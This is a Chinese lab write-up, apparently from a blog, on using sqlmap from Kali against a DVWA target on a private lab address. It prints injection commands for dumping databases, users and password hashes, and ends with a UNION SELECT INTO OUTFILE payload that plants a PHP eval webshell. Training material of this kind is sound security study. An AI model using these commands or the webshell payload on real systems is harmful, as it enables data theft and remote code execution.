实验环境要求:

1、安装win7或win10的笔记本或PC电脑一台,硬盘100GB,内存8GB

2、安装VMware Workstation 14以上

总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的sqlmap攻击dvwa上的sql注入和sql盲注漏洞。


任务一、使用kali中的sqlmap攻击dvwa中sql注入漏洞(low)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"


  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


任务二、使用kali中的sqlmap攻击dvwa中sql注入漏洞(medium)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察可以看出为POST表单

使用Burp劫获POST信息

将信息保存成文件

使用文件进行攻击


  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


任务三、使用kali中的sqlmap攻击dvwa中sql注入漏洞(high)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察页面信息为POST表单

原始方法肯定不行,所以再试试刚才的方法

保持请求

试过后发现失败

查看源码后使用二阶SQL注入—second-order

  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


拓展任务一、使用kali中的sqlmap攻击cms中sql注入漏洞

  1. 测试cms注入点,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1


  1. 列出所有数据库,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs


  1. 获取数据表,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables


  1. 获取数据,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa


  1. 获取所有管理用户,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users


  1. 获取用户密码,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords


拓展任务二、通过sql注入漏洞获取sql-shell和os-shell

  1. 使用sqlmap查看当前用户是否为dba,截图


  1. 使用sqlmap获取sql-shell,截图


  1. 使用sqlmap获取os-shell,截图

直接使用命令是错误的

我们需要在靶机修改一些参数来实现

重启服务


  1. 通过sql注入漏洞上传一句话木马,截图

1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #

执行不了说明没有权限,修改dvwa文件权限


    

使用sqlmap的更多相关文章

  1. 关于sqlmap的使用

    好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...

  2. SQLMap Tamper Scripts Update 04/July/2016

    SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...

  3. 定制sqlmap tamper脚本

    前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...

  4. sqlmap --dns-domain模拟实践

    因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...

  5. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  6. sqlmap 帮助信息

    Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...

  7. sqlmap用户手册 | WooYun知识库

    sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143  ============ ...

  8. sqlmap http头注入的一个技巧

    sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql   --current-d ...

  9. 利用sqlmap进行mysql提权的小方法(win与liunx通用)

    文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...

  10. 4.羽翼sqlmap学习笔记之Post登录框注入

    4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...

随机推荐

  1. 基于CefSharp开发(二)自定义浏览器窗体

    上一篇 https://www.cnblogs.com/mchao/p/13914726.html 简单了解了CefSharp引用配置但页面光秃秃的,这一篇着手开发简单浏览器窗体 一.Edge浏览器窗 ...

  2. 关于缓存的一些重要概念(Redis 前置菜)

    1. 缓存的基本思想 很多朋友,只知道缓存可以提高系统性能以及减少请求相应时间,但是,不太清楚缓存的本质思想是什么. 缓存的基本思想其实很简单,就是我们非常熟悉的空间换时间.不要把缓存想的太高大上,虽 ...

  3. 老猿学5G随笔:5G系统构成

    5G系统(5G智能计费方案)简称5GS,由以下部分组成: 用户设备:User Equipment,简写UE,用户访问网络的设备 5G接入网:5G Access NetWork,简写为5G-AN,负责用 ...

  4. 第8.33节 Python中__getattr__以及__getattr__与__ getattribute__的关系深入剖析

    一. 引言 前面几节分别介绍了Python中属性操作捕获的三剑客:__ getattribute__方法.__setattr__方法.__delattr__方法,为什么__ getattribute_ ...

  5. PyQt(Python+Qt)学习随笔:QTableWidget的属性

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 1.概述 除了从父类继承的属性外,在Designer中QTableWidget只有两个属性,就是行数 ...

  6. PyQt(Python+Qt)学习随笔:视图中的dragDropMode属性对dragEnabled和acceptDrops属性的影响

    老猿Python博文目录 老猿Python博客地址 在<PyQt(Python+Qt)学习随笔:QAbstractItemView的dragEnabled和dragDropMode属性的关系&g ...

  7. PyQt(Python+Qt)学习随笔:Designer中的QDialogButtonBox的ButtonRole详解

    一.引言 在Designer中创建的QDialogButtonBox对应的Button,都有指定的ButtonRole,而我们创建自定义的Button加入到QDialogButtonBox中去时,也需 ...

  8. Jmeter录制脚本-BadBoy

    录制脚本方式: 1)Badboy录制Jmter脚本 2)Jmter代理服务录制脚本 方式一:Badboy录制脚本 安装Badboy 录制脚本 1.双击Badboy 2.输入URL 3.点击" ...

  9. SQL数据库优化的六种方法

    SQL命令因为语法简单.操作高效受到了很多用户的欢迎.但是,SQL命令的效率受到不同的数据库功能的限制,特别是在计算时间方面,再加上语言的高效率也不意味着优化会更容易,所以每个数据库都需要依据实际情况 ...

  10. Codeforces Edu Round 49 A-E

    A. Palindromic Twist 由于必须改变.所以要使\(a[i] = a[n - i + 1]\). 要么同向走,但必须满足之前的\(a[i] = a[n - i + 1]\). 要么相遇 ...